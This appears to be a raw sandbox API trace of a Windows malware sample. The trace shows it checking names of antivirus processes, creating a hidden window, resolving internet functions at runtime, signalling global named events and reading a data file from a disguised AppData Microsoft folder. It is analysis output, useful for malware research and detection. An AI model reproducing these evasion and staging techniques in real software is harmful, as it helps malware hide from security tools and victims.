HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa80 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="isesrv.exe") returned 10 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485faf8 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="cmdagent.exe") returned 12 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb28 | out: hHeap=0x47e0000) returned 1 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fba0 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="ByteFence.exe") returned 13 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa50 | out: hHeap=0x47e0000) returned 1 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f920 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="MBAMService.exe") returned 15 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa20 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="mbamgui.exe") returned 11 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb10 | out: hHeap=0x47e0000) returned 1 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f930 | out: hHeap=0x47e0000) returned 1 [0304.116] lstrlenA (lpString="fmon.exe") returned 8 [0304.116] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f9f0 | out: hHeap=0x47e0000) returned 1 [0304.117] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e6b18 | out: hHeap=0x47e0000) returned 1 [0304.117] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x800) returned 0x47e6b18 [0304.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2ac4a81, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x28afd14 | out: lpThreadId=0x28afd14*=0xf04) returned 0x324 [0304.118] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x4640048 | out: hHeap=0x4510000) returned 1 [0304.118] WaitForSingleObject (hHandle=0x2d4, dwMilliseconds=0x3a98) returned 0x0 [0306.960] CloseHandle (hObject=0x2d4) returned 1 [0306.960] RegisterClassExA (param_1=0x28afd70) returned 0xc1a6 [0306.961] CreateWindowExA (dwExStyle=0x0, lpClassName="xafpqko", lpWindowName="xafpqko", dwStyle=0xcf0000, X=-2147483648, Y=-2147483648, nWidth=500, nHeight=100, hWndParent=0x0, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x5036a [0309.559] NtdllDefWindowProc_A (hWnd=0x5036a, Msg=0x24, wParam=0x0, lParam=0x28af8f4) returned 0x0 [0309.560] NtdllDefWindowProc_A (hWnd=0x5036a, Msg=0x81, wParam=0x0, lParam=0x28af8e8) returned 0x1 [0309.580] NtdllDefWindowProc_A (hWnd=0x5036a, Msg=0x83, wParam=0x0, lParam=0x28af8d4) returned 0x0 [0309.584] NtdllDefWindowProc_A (hWnd=0x5036a, Msg=0x1, wParam=0x0, lParam=0x28af8e8) returned 0x0 [0309.587] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0309.588] GetProcAddress (hModule=0x76850000, lpProcName="ChangeWindowMessageFilter") returned 0x768811b0 [0309.588] ChangeWindowMessageFilter (message=0x2, dwFlag=0x1) returned 1 [0309.588] ChangeWindowMessageFilter (message=0x12, dwFlag=0x1) returned 1 [0309.588] ChangeWindowMessageFilter (message=0x9153, dwFlag=0x1) returned 1 [0309.588] ChangeWindowMessageFilter (message=0x9154, dwFlag=0x1) returned 1 [0309.588] FreeLibrary (hLibModule=0x76850000) returned 1 [0309.588] ShowWindow (hWnd=0x5036a, nCmdShow=0) returned 0 [0309.588] UpdateWindow (hWnd=0x5036a) returned 1 [0309.588] GetMessageA (in: lpMsg=0x28afda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x28afda0) returned 1 [0309.588] TranslateMessage (lpMsg=0x28afda0) returned 0 [0309.588] DispatchMessageA (lpMsg=0x28afda0) returned 0x0 [0309.588] NtdllDefWindowProc_A (hWnd=0x5036a, Msg=0x31f, wParam=0x1, lParam=0x0) returned 0x0 [0309.589] GetMessageA (lpMsg=0x28afda0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0) Thread: id = 381 os_tid = 0x1330 Thread: id = 382 os_tid = 0xf04 [0304.129] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2bbf708 | out: lpSystemTimeAsFileTime=0x2bbf708*(dwLowDateTime=0xd0d8377, dwHighDateTime=0x1d6747e)) [0304.136] strncpy (in: _Dest=0x2ae76b8, _Source="YN", _Count=0x1f | out: _Dest="YN") returned="YN" [0304.136] strncmp (_Str1="YN", _Str2="YN", _MaxCount=0x1f) returned 0 [0304.153] strncpy (in: _Dest=0x2ae75d8, _Source="YNNNNNN", _Count=0x1f | out: _Dest="YNNNNNN") returned="YNNNNNN" [0304.153] strncmp (_Str1="YNNNNNN", _Str2="YNNNNNN", _MaxCount=0x1f) returned 0 [0304.153] strncpy (in: _Dest=0x2ae7698, _Source="YNNN", _Count=0x1f | out: _Dest="YNNN") returned="YNNN" [0304.153] strncmp (_Str1="YNNN", _Str2="YNNN", _MaxCount=0x1f) returned 0 [0304.153] QueryPerformanceFrequency (in: lpFrequency=0x2ae8958 | out: lpFrequency=0x2ae8958*=100000000) returned 1 [0304.153] QueryPerformanceCounter (in: lpPerformanceCount=0x2ae8950 | out: lpPerformanceCount=0x2ae8950*=40014103759) returned 1 [0304.153] CryptAcquireContextA (in: phProv=0x2ae7b4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2ae7b4c*=0x2bdc910) returned 1 [0304.172] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485fb40 [0304.172] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fa38 [0304.172] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0304.172] lstrlenA (lpString="kernel32.dll") returned 12 [0304.172] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb40 | out: hHeap=0x47e0000) returned 1 [0304.173] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0304.173] lstrlenA (lpString="GetProcAddress") returned 14 [0304.173] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa38 | out: hHeap=0x47e0000) returned 1 [0304.173] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485fb88 [0304.173] LoadLibraryA (lpLibFileName="wininet.dll") returned 0x732d0000 [0306.749] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485fba0 [0306.749] GetProcAddress (hModule=0x732d0000, lpProcName="InternetOpenA") returned 0x733ef1a0 [0306.749] lstrlenA (lpString="InternetOpenA") returned 13 [0306.749] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fba0 | out: hHeap=0x47e0000) returned 1 [0306.749] lstrlenA (lpString="wininet.dll") returned 11 [0306.750] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb88 | out: hHeap=0x47e0000) returned 1 [0306.750] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f700 [0306.750] GetProcAddress (hModule=0x732d0000, lpProcName="InternetOpenUrlA") returned 0x734ce8c0 [0306.750] lstrlenA (lpString="InternetOpenUrlA") returned 16 [0306.750] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.750] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x14) returned 0x485f700 [0306.750] GetProcAddress (hModule=0x732d0000, lpProcName="InternetCloseHandle") returned 0x733dd000 [0306.750] lstrlenA (lpString="InternetCloseHandle") returned 19 [0306.750] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.750] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fa38 [0306.751] GetProcAddress (hModule=0x732d0000, lpProcName="HttpQueryInfoA") returned 0x73419de0 [0306.751] lstrlenA (lpString="HttpQueryInfoA") returned 14 [0306.751] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa38 | out: hHeap=0x47e0000) returned 1 [0306.751] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f700 [0306.751] GetProcAddress (hModule=0x732d0000, lpProcName="InternetReadFile") returned 0x73403a70 [0306.751] lstrlenA (lpString="InternetReadFile") returned 16 [0306.751] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.751] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f700 [0306.751] GetProcAddress (hModule=0x732d0000, lpProcName="InternetSetOptionA") returned 0x7341a310 [0306.751] lstrlenA (lpString="InternetSetOptionA") returned 18 [0306.751] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.751] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f700 [0306.752] GetProcAddress (hModule=0x732d0000, lpProcName="InternetQueryOptionA") returned 0x7341c4c0 [0306.752] lstrlenA (lpString="InternetQueryOptionA") returned 20 [0306.752] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.752] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f700 [0306.752] GetProcAddress (hModule=0x732d0000, lpProcName="InternetConnectA") returned 0x734ce5b0 [0306.752] lstrlenA (lpString="InternetConnectA") returned 16 [0306.752] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.752] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f700 [0306.752] GetProcAddress (hModule=0x732d0000, lpProcName="HttpOpenRequestA") returned 0x734edba0 [0306.752] lstrlenA (lpString="HttpOpenRequestA") returned 16 [0306.752] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.752] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f700 [0306.753] GetProcAddress (hModule=0x732d0000, lpProcName="HttpSendRequestA") returned 0x7346dd00 [0306.753] lstrlenA (lpString="HttpSendRequestA") returned 16 [0306.753] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.753] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f700 [0306.753] GetProcAddress (hModule=0x732d0000, lpProcName="InternetCrackUrlA") returned 0x733f2150 [0306.753] lstrlenA (lpString="InternetCrackUrlA") returned 17 [0306.753] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.753] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f700 [0306.753] GetProcAddress (hModule=0x732d0000, lpProcName="InternetWriteFile") returned 0x733ea950 [0306.753] lstrlenA (lpString="InternetWriteFile") returned 17 [0306.753] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.753] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1d) returned 0x485f700 [0306.754] GetProcAddress (hModule=0x732d0000, lpProcName="InternetGetLastResponseInfoA") returned 0x734ce760 [0306.754] lstrlenA (lpString="InternetGetLastResponseInfoA") returned 28 [0306.754] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f700 | out: hHeap=0x47e0000) returned 1 [0306.754] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x100) returned 0x485f700 [0306.754] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xb) returned 0x485fa68 [0306.754] LoadLibraryA (lpLibFileName="urlmon.dll") returned 0x73130000 [0306.802] lstrlenA (lpString="urlmon.dll") returned 10 [0306.802] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa68 | out: hHeap=0x47e0000) returned 1 [0306.802] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x16) returned 0x485f808 [0306.802] GetProcAddress (hModule=0x73130000, lpProcName="ObtainUserAgentString") returned 0x7321e4a0 [0306.802] lstrlenA (lpString="ObtainUserAgentString") returned 21 [0306.802] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f808 | out: hHeap=0x47e0000) returned 1 [0306.804] ObtainUserAgentString (in: dwOption=0x0, pszUAOut=0x485f700, cbSize=0x2bbf708 | out: pszUAOut="Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko", cbSize=0x2bbf708) returned 0x0 [0306.882] FreeLibrary (hLibModule=0x73130000) returned 1 [0306.894] GetCurrentProcessId () returned 0x794 [0306.894] _vsnprintf (in: _DstBuf=0x2bbf738, _MaxCount=0x40, _Format="2%s%u", _ArgList=0x2bbf710 | out: _DstBuf="2xafpqko1940") returned 12 [0306.894] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="2xafpqko1940") returned 0x360 [0306.895] lstrlenA (lpString="xafpqko") returned 7 [0306.895] lstrlenA (lpString="xafpqko") returned 7 [0306.895] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fa98 [0306.895] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0306.895] lstrcatA (in: lpString1="xafpqko", lpString2="xafpqko" | out: lpString1="xafpqkoxafpqko") returned="xafpqkoxafpqko" [0306.895] lstrlenA (lpString="xafpqkoxafpqko") returned 14 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.895] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="user32.dll") returned 10 [0306.896] lstrlenA (lpString="Global") returned 6 [0306.896] lstrlenA (lpString="\\") returned 1 [0306.896] lstrlenA (lpString="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 33 [0306.896] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x29) returned 0x485f808 [0306.896] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0306.896] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0306.896] lstrcatA (in: lpString1="Global\\", lpString2="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" | out: lpString1="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" [0306.896] OpenEventA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 0x35c [0306.896] SetEvent (hEvent=0x35c) returned 1 [0306.896] CloseHandle (hObject=0x35c) returned 1 [0306.896] lstrlenA (lpString="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 40 [0306.896] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f808 | out: hHeap=0x47e0000) returned 1 [0306.896] lstrlenA (lpString="xafpqko") returned 7 [0306.897] lstrlenA (lpString="xafpqko") returned 7 [0306.897] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485fba0 [0306.897] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0306.897] lstrcatA (in: lpString1="xafpqko", lpString2="xafpqko" | out: lpString1="xafpqkoxafpqko") returned="xafpqkoxafpqko" [0306.897] lstrlenA (lpString="xafpqkoxafpqko") returned 14 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.897] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="user32.dll") returned 10 [0306.898] lstrlenA (lpString="Global") returned 6 [0306.898] lstrlenA (lpString="\\") returned 1 [0306.898] lstrlenA (lpString="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 33 [0306.898] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x29) returned 0x485f808 [0306.898] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0306.898] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0306.898] lstrcatA (in: lpString1="Global\\", lpString2="sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" | out: lpString1="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa" [0306.898] OpenEventA (dwDesiredAccess=0x2, bInheritHandle=0, lpName="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 0x35c [0306.898] SetEvent (hEvent=0x35c) returned 1 [0306.898] CloseHandle (hObject=0x35c) returned 1 [0306.898] lstrlenA (lpString="Global\\sBDaBfzHylDaJ3k0ZN3eoO1v1LoldeAWa") returned 40 [0306.898] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f808 | out: hHeap=0x47e0000) returned 1 [0306.898] _vsnwprintf (in: _Buffer=0x2bbf508, _BufferCount=0x104, _Format="%s\\~%S.tmp", _ArgList=0x2bbf500 | out: _Buffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\~xafpqko.tmp") returned 47 [0306.899] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\~xafpqko.tmp" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\~xafpqko.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0306.902] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x4) returned 0x485ffd0 [0306.902] lstrlenA (lpString="user32.dll") returned 10 [0306.902] FindResourceA (hModule=0x2ac0000, lpName="308", lpType=0xa) returned 0x2aeb068 [0306.902] SizeofResource (hModule=0x2ac0000, hResInfo=0x2aeb068) returned 0x41 [0306.902] LoadResource (hModule=0x2ac0000, hResInfo=0x2aeb068) returned 0x2aeb098 [0306.902] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x42) returned 0x485f808 [0306.902] lstrlenA (lpString="308") returned 3 [0306.902] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485ffd0 | out: hHeap=0x47e0000) returned 1 [0306.902] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x448) returned 0x47e7320 [0306.902] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x41) returned 0x485f858 [0306.902] lstrlenA (lpString="kernel32.dll") returned 12 [0309.500] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0x358 [0309.506] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.506] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xfa0) returned 0x47e7770 [0309.507] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xb) returned 0x485fa50 [0309.507] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485fa20 [0309.507] lstrlenA (lpString="spx155") returned 6 [0309.507] lstrlenA (lpString="spx155") returned 6 [0309.507] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x8) returned 0x485ffd0 [0309.507] lstrlenA (lpString="1597414518") returned 10 [0309.507] lstrlenA (lpString="1597414518") returned 10 [0309.507] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485fb10 [0309.507] lstrlenA (lpString="10") returned 2 [0309.507] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa50 | out: hHeap=0x47e0000) returned 1 [0309.507] lstrlenA (lpString="3") returned 1 [0309.507] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fa20 | out: hHeap=0x47e0000) returned 1 [0309.507] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f858 | out: hHeap=0x47e0000) returned 1 [0309.507] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e7770 | out: hHeap=0x47e0000) returned 1 [0309.509] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e7320 | out: hHeap=0x47e0000) returned 1 [0309.511] ReleaseMutex (hMutex=0x358) returned 1 [0309.511] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f808 | out: hHeap=0x47e0000) returned 1 [0309.511] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x448) returned 0x47e7320 [0309.511] lstrcpynW (in: lpString1=0x47e7320, lpString2="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat", iMaxLength=512 | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" [0309.511] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Qieeyrekuc\\xafpqko.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\qieeyrekuc\\xafpqko.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0309.512] GetFileSize (in: hFile=0x354, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3f [0309.512] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x40) returned 0x485f808 [0309.512] ReadFile (in: hFile=0x354, lpBuffer=0x485f808, nNumberOfBytesToRead=0x3f, lpNumberOfBytesRead=0x2bbf698, lpOverlapped=0x0 | out: lpBuffer=0x485f808*, lpNumberOfBytesRead=0x2bbf698*=0x3f, lpOverlapped=0x0) returned 1 [0309.513] ReadFile (in: hFile=0x354, lpBuffer=0x485f847, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2bbf698, lpOverlapped=0x0 | out: lpBuffer=0x485f847*, lpNumberOfBytesRead=0x2bbf698*=0x0, lpOverlapped=0x0) returned 1 [0309.513] CloseHandle (hObject=0x354) returned 1 [0309.514] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x3f) returned 0x485f850 [0309.514] lstrlenA (lpString="xafpqko") returned 7 [0309.514] lstrlenA (lpString="kernel32.dll") returned 12 [0309.514] lstrlenA (lpString="kernel32.dll") returned 12 [0309.514] CloseHandle (hObject=0x0) returned 0 [0309.514] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f808 | out: hHeap=0x47e0000) returned 1 [0309.514] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0xea60) returned 0x0 [0309.514] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xfa0) returned 0x47e7770 [0309.514] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x6) returned 0x485f808 [0309.515] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x17) returned 0x485f818 [0309.515] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485fb28 [0309.515] lstrlenA (lpString="2") returned 1 [0309.515] lstrlenA (lpString="2") returned 1 [0309.515] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x3) returned 0x485f838 [0309.515] lstrlenA (lpString="12.05.23-17/08/2020") returned 19 [0309.515] lstrlenA (lpString="12.05.23-17/08/2020") returned 19 [0309.515] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f898 [0309.515] lstrlenA (lpString="1597658723") returned 10 [0309.515] lstrlenA (lpString="1597658723") returned 10 [0309.515] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f9f0 [0309.515] lstrlenA (lpString="11") returned 2 [0309.515] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f808 | out: hHeap=0x47e0000) returned 1 [0309.515] lstrlenA (lpString="1") returned 1 [0309.515] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f818 | out: hHeap=0x47e0000) returned 1 [0309.515] lstrlenA (lpString="2") returned 1 [0309.515] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485fb28 | out: hHeap=0x47e0000) returned 1 [0309.515] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f850 | out: hHeap=0x47e0000) returned 1 [0309.515] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e7770 | out: hHeap=0x47e0000) returned 1 [0309.517] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x47e7320 | out: hHeap=0x47e0000) returned 1 